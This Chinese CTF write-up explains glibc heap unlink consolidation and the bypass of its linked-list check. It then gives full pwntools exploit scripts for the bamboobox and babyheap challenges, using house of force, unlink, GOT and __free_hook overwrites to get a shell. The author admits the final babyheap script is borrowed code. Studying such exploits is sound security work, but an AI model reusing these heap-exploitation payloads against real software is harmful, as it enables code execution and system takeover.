登录后台

页面导航

本文编写于 429 天前,最后修改于 118 天前,其中某些信息可能已经过时。

参考链接:https://xz.aliyun.com/t/5748

unlink介绍

1.向后合并

#!c
    /*malloc.c  int_free函数中*/
/*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的向后和向前一个free chunk*/
/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
      p = chunk_at_offset(p, -((long) prevsize)); 
      unlink(p, bck, fwd);
}   

//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s))) 

/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    FD->bk = BK;                                  \
    BK->fd = FD;                                  \
    ...
}

当chunk2free完了,发现上一个块chunk1也是free状态的,就抱大腿合并起来,指挥权交给chunk1,指向chunk2的ptr指针现在指向chunk1,size也变为size+presize:也就是这样:

接着因为使用完了会进行分箱式管理,因此这个新的free的chunk1不会很快回到操作系统,于是需要从所在的free的chunk链中进行unlink(有fd指针和bk指针)再放到unsorted bin中保存。

2.向前合并

#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) { 
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
      /* consolidate forward */
      if (!nextinuse) { //next chunk为free chunk
            unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
          size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!
      } else
            clear_inuse_bit_at_offset(nextchunk, 0);    

      ……
    }

当chunk1free完了,发现相邻的chunk2也是free的,会先进行unlink(让chunk2先脱链,有fd和bk指针),然后再进行合并:size = size+nextsize,ptr指向不变,还是自己:

以上就是两种合并free的chunk的方式,合并过程中用到unlink函数,在free的链表中把chunk块脱下来,然后可以把新的free的chunk块放到bins中管理~

3.保护机制

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

看源码,也就是要满足p-->fd-->bk = p-->bk-->fd = p,很好理解,但是要怎么绕过呢?

用一个很巧妙的数学等式,完美搞定:下面的例子演示的是64位的例子(一个字节8位),取一个全局变量ptr(指针地址,一般为chunk块的指针地址,存放于bss段中)
令p-->fd = ptr - 24,p-->bk = ptr - 16 ,为什么这么构造,待会就知道了,我们知道空闲块的布局是这样的:

当我们构造好了后,得到FD = p-->fd = ptr - 24,BK = p-->bk = ptr - 16,那么FD-->bk = FD + 3*8 = ptr - 24 + 24 = ptr,同理可得BK-->fd = BK + 16 = ptr - 16 + 16 = ptr,也就是说FD-->bk = BK-->fd = ptr,从而成功绕过了检测机制,那么unlink执行了~我们知道执行是这样的:

    FD = P->fd;                                   
    BK = P->bk;                                   
    FD->bk = BK;                                  
    BK->fd = FD;

根据上面的精心构造,我们可以得到FD-->bk = BK 相当于ptr = ptr - 16,BK->fd = FD相当于 ptr = ptr - 24,unlink执行完了后,我们得到最终的结果就是ptr = ptr -24 ,也就是说ptr指向了ptr-24的地址处。那么如果我们往ptr写入内容为‘a’*24+free(got),那么就可以实现在ptr处写入free的got表,如果再往ptr写入onegadget,那么就是我往free的got表写入onegadget从而getshell~

lab11 bamboobox

分析程序

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没开pie保护

There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:

ida查看伪代码来分析结构体

        *((_DWORD *)&itemlist + 4 * i) = lenth;        //存放大小
        qword_6020C8[2 * i] = malloc(lenth);        //存放指针

数组中存放着指针,itemlist和qword_6020C8在bss数据段也是相邻的

struct item{
    int size;
    char a[2*i];
unsigned __int64 change_item()
{
  int v0; // ST08_4
  int v2; // [rsp+4h] [rbp-2Ch]
  char buf; // [rsp+10h] [rbp-20h]
  char nptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( qword_6020C8[2 * v2] )
    {
      printf("Please enter the length of item name:", &buf);
      read(0, &nptr, 8uLL);
      v0 = atoi(&nptr);
      printf("Please enter the new name of the item:", &nptr);
      *(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

在edit的时候,对长度没有检查,这里存在堆溢出,因此可以改写相邻的chunk的状态,使得他它在free的时候触发unlink

方法一:house of force调用magic函数

思路:利用change_item里面修改content可以自定义长度的漏洞,修改top_chunk的size,malloc一个大数/负数来实现控制top_chunk的指针,从而达到任意地址写。

具体操作:
1.把topchunk的size改大(一般改为-1,即32位下的0xffffffff,64位下的0xffffffffffffffff)以便能把chunk建在内存的任意一个地点。
2.建立一个evil_size大小的chunk,使建完这个chunk后av->top会指向我们想要的target-0x8/0x10(chunk_header_size)
3.再次建立chunk,会建在之前av->top所指的地方,就是我们的target了。

哦,有个magic函数可以获取flag
程序在开头将两个函数地址放进heap中,将goodbye_message改成magic即可。

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = "debug") 

p = process("./bamboobox")

def add(length, name):
    p.sendlineafter(":", "2")
    p.sendlineafter(":", str(length))
    p.sendafter(":", name)

def change(idx, length, name):
    p.sendlineafter(":", "3")
    p.sendlineafter(":", str(idx))
    p.sendlineafter(":", str(length))
    p.sendafter(":", name)

def exit():
    p.sendlineafter(":", "5")

magic = 0x400d49
add(0x60,"1111")
change(0,0x70,"a"*0x60 + p64(0) + p64(0xffffffffffffffff)) # overwrite top chunk size
add(-160,"2222") # 减小top chunk指针
add(0x10,p64(magic)*2) # 分配块实现任意地址写
exit()
p.interactive()

减少top_chunk指针那一步有点懵...

方法二:unlink调用magic函数

思路:在chunk1中构造fake_chunk,然后溢出改chunk2的presize和size,这样就可以free掉chunk1了,同时触发unlink,使得指针指向got表的地址,这样就可以打印出真实地址,接着改写got表位onegadget地址。

具体操作:
1.创建三个chunk,注意,这三个chunk的大小都要保证不在fastbin的范围内,因为fastbin的size的p位默认为1,无法进行unlink操作

add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

2.构造一个大小为0x100的fake_chunk,同时通过堆溢出将chunk1的presize和size进行修改,使得size的p位为0

3.删除chunk1,此时fake_chunk和chunk1就会进行合并,这时会对fake_chunk进行unlink操作,这里需要对FD和BK精心构造,使得能够绕过检查:FD->BK=P && BK->FD=P,在通过检查后,unlink会导致存放在itemlist处的chunk0的指针指向0x6020B0

4.构造payload2,改变itemlist存放的chunk1的指针,将chunk1的指针覆盖为puts函数的got表

5.将magic函数的got表写入

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./bamboobox')
bin = ELF('./bamboobox')

itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8

def add_item(length,name):
    cn.sendline('2')
    cn.recvuntil('the length of item name:')
    cn.sendline(str(length))
    cn.recvuntil('the name of item:')
    cn.sendline(name)

def change_item(index,length,name):
    cn.sendline('3')
    cn.recvuntil('the index of item:')
    cn.sendline(str(index))
    cn.recvuntil('the length of item name:')
    cn.sendline(str(length))
    cn.recvuntil('new name of the item:')
    cn.sendline(name)

def remove_item(index):
    cn.sendline('4')
    cn.recvuntil('the index of item:')
    cn.sendline(str(index))

def show_item():
    cn.sendline('1')
    data = cn.recvuntil('----------------------------')
    return data

add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'

change_item(0,len(pay),pay)

remove_item(1)

pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['puts'])
change_item(0,len(pay2),pay2)

change_item(1,16,p64(bin.symbols['magic']))
flag = cn.recv()

log.success("the flag is : "+flag)

方法三:unlink构造system(/bin/sh)

思路:泄露地址,构造system(/bin/sh)

具体步骤:
payload2之前步骤一样,只讲paylaod2之后的

1.将chunk1地址填充为atoi函数的got表

2.这里借助了DynELF函数实现无libc的泄露

3.第二次payload2是为了恢复结构,然后再覆盖chunk1的地址为system地址

这里有个'$0'的截断,测试了一下效果,知道用法了 (#^.^#)

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./bamboobox')
bin = ELF('./bamboobox')

itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8

def add_item(length,name):
    cn.sendline('2')
    cn.recvuntil('the length of item name:')
    cn.sendline(str(length))
    cn.recvuntil('the name of item:')
    cn.sendline(name)

def change_item(index,length,name):
    cn.sendline('3')
    cn.recvuntil('the index of item:')
    cn.sendline(str(index))
    cn.recvuntil('the length of item name:')
    cn.sendline(str(length))
    cn.recvuntil('new name of the item:')
    cn.sendline(name)

def remove_item(index):
    cn.sendline('4')
    cn.recvuntil('the index of item:')
    cn.sendline(str(index))

def show_item():
    cn.sendline('1')
    cn.recvuntil('0 :')
    data = cn.recvuntil('----------------------------')
    return data[:-len('----------------------------')]

def leak(addr):
    pay = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(addr)
    change_item(0,len(pay),pay)
    cn.sendline('1')
    cn.recvuntil('1 : ')
    data = cn.recvuntil('2 : ')[:-4]
    log.info(hex(addr) + '->' + (data+'\x00').encode('hex'))
    return (data+'\x00')


    
add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'

change_item(0,len(pay),pay)

remove_item(1)

pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0)+ p64(bin.got['atoi'])
change_item(0,len(pay2),pay2)
context.log_level = 'info'
d = DynELF(leak,elf = bin)
system = d.lookup('system','libc')
log.success("find system = " + hex(system))
context.log_level = 'debug'
pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['atoi'])
change_item(0,len(pay2),pay2)

change_item(1,16,p64(system))
cn.sendline('$0')

cn.interactive()

网鼎杯的babyheap

题目分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没开pie保护

I thought this is really baby.What about u?
Loading.....
1.alloc
2.edit
3.show
4.free
5.exit
Choice:

load五秒,蜜汁操作

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index:");
  memset(&s, 0, 0x10uLL);
  read(0, &s, 0xFuLL);
  v1 = atoi(&s);
  if ( v1 <= 9 && ptr[v1] )
  {
    free(ptr[v1]);    //存在uaf漏洞
    puts("Done!");
  }
  return __readfsqword(0x28u) ^ v3;
}

有几个注意点:只能新建9个chunk,chunk的大小只能是0x20,一个chunk只能编辑3次

漏洞利用

泄露地址

1.如何泄露libc地址?

最后构造shell的时候我们需要知道libc的地址,第一个思路就是伪造一个fake_chunk,让它分配到unsortedbin中,它的fd指针会指向main分配区;
由于uaf漏洞的存在,我们这时候去show这个chunk,它就对打印出fd的内容,这时候就能计算出libc的地址;
但需要伪造一个fake_chunk,我们需要知道heap的地址;

2.如何知道heap的地址?

由于fastbins 的特性,我们连续 free 两个chunk,这个时候会产生一个 fastbins 的freelist。

这个时候 0x603000 的chunk 的fd 指向 0x603030 ,我们只需要 show 一下 0x603000这个chunk,就能得到heap地址:0x603030。注意,puts 存在截断,如果你是 0x603030 –> 0x603000 会存在leak不出来的问题。所以注意 free 的顺序。

add(0, 'a')
add(1, 'b')
delete(1)
delete(0)
show(0)
heap_addr = u64(p.recv(4).ljust(8,'\x00')) -0x30
print hex(heap_addr)

3.正式开始泄露libc

1.前面已经说到需要伪造一个chunk,让fake_chunk被free到unsortedbin里,然后才能知道main_arena的地址
2.这里需要通过编辑chunk0使fd指针指向fd-0x20的地址,bk填写0,然后data那里填写0和0x31,那么fd指向chunk0自身的0x113d020位置处,bins中也可见:
3.然后再把chunk0和chunk1重新申请回来(fastbin的特征:先释放的后使用,类似于栈),并修改 size 和fd等等。由于,chunk 6的fd被修改了,所以我们去修改 chunk 7的时候,其实就是在修改我们正常chunk的size。
4.伪造后的 chunk 由于我们设置了 size 变大了,所以默认会把后面的 chunk 给吞并。我们 在设置基本块的时候要注意这个问题。
5.这个时候系统会认为 0x603020 这个伪造的 chunk 是存在的。所以当我们去 delete chunk 1。(由于chunk 1是后释放,所以申请到的chunk 7 指向的其实是同一个块)。系统会把 0x603020 放到unsortedbin中。(unsortedbin 不是fastbins 且不与 top chunk 紧邻,free后会被放置到unsortedbin中)
6.紧接着,我们只需要把这个 chunk free 了,然后show,就能获得 libc base。

FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)

4.获取shell

libc我们已经有了,现在需要修改freehook成onegadget,然后进行一次free就可以获得shell

要达到这种效果,我们需要一个任意地址写

Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')
Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')


Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')

chunk2和chunk3用来修改chunk1的size让chunk1同并。
我们需要提前构造unlink的条件,绕过检查机制,然后free chunkl

当通过unlink 后我们得到一个 chunk 指向了 chunk1 同时 chunk 4 也指向了 chunk1。 这个时候如果我们队chunk 1这块内存 写入 free_hook 的地址,然后再通过uaf 修改这个地址所指的值,写成一个 one_gadget 就能getshell。

Edit(4,p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')
Delete(1)

自闭了,自己敲的代码跑不了,找不到错误.....o(╥﹏╥)o
拿别人的代码能跑,勉强看看吧..

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./babyheap')
if local:
    p = process('./babyheap')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))


def malloc(index,Content):
    ru("Choice:")
    sl('1')
    ru("Index:")
    sl(str(index))
    ru("Content:")
    sd(Content)
def free(Index):
    ru("Choice:")
    sl('4')
    ru("Index:")
    sl(str(Index))
def puts(Index):
    ru("Choice:")
    sl('3')
    ru("Index:")
    sl(str(Index))
def exit():
    ru("Choice:")
    sl('5')
def edit(index,Content):
    ru("Choice:")
    sl('2')
    ru("Index:")
    sl(str(index))
    ru("Content:")
    sd(Content)
bk(0x400A56)

malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)
py1 = p64(heap_addr+0x20) + p64(0)
py1 += p64(0) + p64(0x31)
edit(0,py1)

malloc(6,'aaa\n')
malloc(7,p64(0) + p64(0xa1) + '\n')

malloc(2,'cccccccc\n')
malloc(3,'dddddddd\n')

FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)

free(1)
puts(1)

main_arena = u64(rc(6).ljust(8,'\x00')) - 88
print "main_arena--->" + hex(main_arena)
libc_base = (main_arena&0xfffffffff000) - 0x3c4000
print 'libcbase--->' + hex(libc_base)
# malloc_hook = main_arena - 0x10
# libc_base1 = malloc_hook - libc.symbols["__malloc_hook"]
# print 'libc_base1--->' + hex(libc_base1)
onegadget = libc_base + 0x4526a
free_hook = libc_base + libc.symbols["__free_hook"]
print "free_hook--->" + hex(free_hook)
print "onegadget--->" + hex(onegadget)

edit(4,p64(free_hook) + '\n')
edit(1,p64(onegadget) + '\n')
free(2) 
p.interactive()